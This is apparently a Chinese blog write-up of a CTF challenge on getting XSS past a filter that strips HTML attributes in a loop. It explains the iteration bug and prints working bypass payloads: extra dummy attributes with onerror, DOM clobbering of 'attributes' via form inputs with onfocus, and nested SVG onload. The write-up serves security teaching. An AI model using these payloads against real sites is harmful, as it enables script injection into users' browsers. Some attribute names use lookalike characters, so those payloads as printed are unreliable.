XSS-绕过for循环过滤

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
</body>
<script>
    
    const data = decodeURIComponent(location.hash.substr(1));
    const root = document.createElement('div');
    root.innerHTML = data;

     //这里模拟了XSS过滤的过程,方法是移除所有属性
     for (let el of root.querySelectorAll('*')) {
         for (let attr of el.attributes) {
             el.removeAttribute(attr.name);
         }
     }
     document.body.appendChild(root); 
</script>
</html>

代码大意:将#后面的数据放入div便签中,并过滤标签中的所有属性

尝试输入#<img src=1 οnerrοr=javascript:alert(1)>

在页面中输出的是:<img οnerrοr="javascript:alert(1)">,显然for循环没有达到预期的效果只删除了src属性,onerror没有被删除,但没有src就无法执行javascript:alert(1)

a = [1, 2, 3, 4, 5, 6]
for i in a:
    if i == 2:
        a.remove(i)
    print(i)

1
2
4
5
6

以上Python代码的意思是:循环遍历a列表,并去掉2,正常应该输出1,3,4,5,6但是输出了2,反而3没了,这是因为for循环遍历到2时下标是1,遍历下标2的时候,因为2已经被删了,下标2对应的值是4,下标1对应的值是3,而下标1在之前已经遍历出了2

现在在看这道CTF题

既然他不会将全部的属性过滤掉,就多写几个属性试试

#<img%20xxx=aaa%20src=1%20οnerrοr=javascript:alert(1)>

输出:<img src="1">                发现src被输出了

再多加几个属性试试

#<img xxx=aaa src=1 title=aaa οnerrοr=javascript:alert(1)>        这就成功了

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    
</body>
<script>
    const data = decodeURIComponent(location.hash.substr(1));
    const root = document.createElement('div');
    root.innerHTML = data;
    // // 这里模拟了XSS过滤的过程,方法是移除所有属性
    for (let el of root.querySelectorAll('*')) {
        let attrs = [];
        for (let attr of el.attributes) {
            attrs.push(attr.name);
        }
        for (let name of attrs) {
            el.removeAttribute(name);
        }
    }

    document.body.appendChild(root);
    
</script>

</html>

现在加点难度,通过以上代码就不会出现问题了,因为现在是先将数据放入一个数组,再删除,操作的不是同一个数组。

现在之前的答案不行了,无论写多少属性都会被删除

<div><img></div>

现在就两种思路:
1,别进循环。

2,进循环,但有用的数据不被删除

方法一

root.querySelectorAll可以获取div下的子元素

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form id="x" tabindex="1" onfocus="alert(1)">
        <input name="attributes">
        <input name="attributes">
    </form>
</body>
<script>
    console.log(window.x.attributes)    //RadioNodeList(2) [input, input, value: ""]
</script>
</html>

attributes可以获取标签

从以上例子,我们可以看到,attributes只获取了input标签,而form便签中的属性没有被获取

<form id="x" tabindex="1" οnfοcus="alert(1)">
        <input name="attributes">
        <input name="attributes">
    </form>

将其输入,后证实了猜想

<div><form id="x" tabindex="1" onfocus="alert(1)"> <input> <input> </form></div>

只过滤了input标签

#<form%20tabindex=1%20οnfοcus="alert(1)"%20autofocus="true"%20>%20<input%20name="attributes">%20<input%20name="attributes">%20</form>

然后一直按tab,就可以弹窗了

方法二

别进循环,也就是说在innerHTML里就执行命令

重要知识点:js代码会阻塞dom树的构建,先运行js代码,再构建dom树

void SVGSVGElement::FinishParsingChildren() {
  SVGGraphicsElement::FinishParsingChildren();

  // The outermost SVGSVGElement SVGLoad event is fired through
  // LocalDOMWindow::dispatchWindowLoadEvent.
  if (IsOutermostSVGSVGElement())
    return;

  // finishParsingChildren() is called when the close tag is reached for an
  // element (e.g. </svg>) we send SVGLoad events here if we can, otherwise
  // they'll be sent when any required loads finish
  SendSVGLoadEventIfPossible();
}

这是HTML部分源码,其中if (IsOutermostSVGSVGElement()),就判断是否就一个svg标签,如果是就返回,如果不是就运行SendSVGLoadEventIfPossible()

bool SVGElement::SendSVGLoadEventIfPossible() {
  if (!HaveLoadedRequiredResources())
    return false;
  if ((IsStructurallyExternal() || IsA<SVGSVGElement>(*this)) &&
      HasLoadListener(this))
    DispatchEvent(*Event::Create(event_type_names::kLoad));
  return true;
}

代码大意:只要是svg标签,并且有onload事件就可以进到第二个if里面,运行DispatchEvent(*Event::Create(event_type_names::kLoad));

就可以加载onload事件

总结:要两个svg标签,有onload事件

#<svg><svg/οnlοad=alert(1)>        这样就成功了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值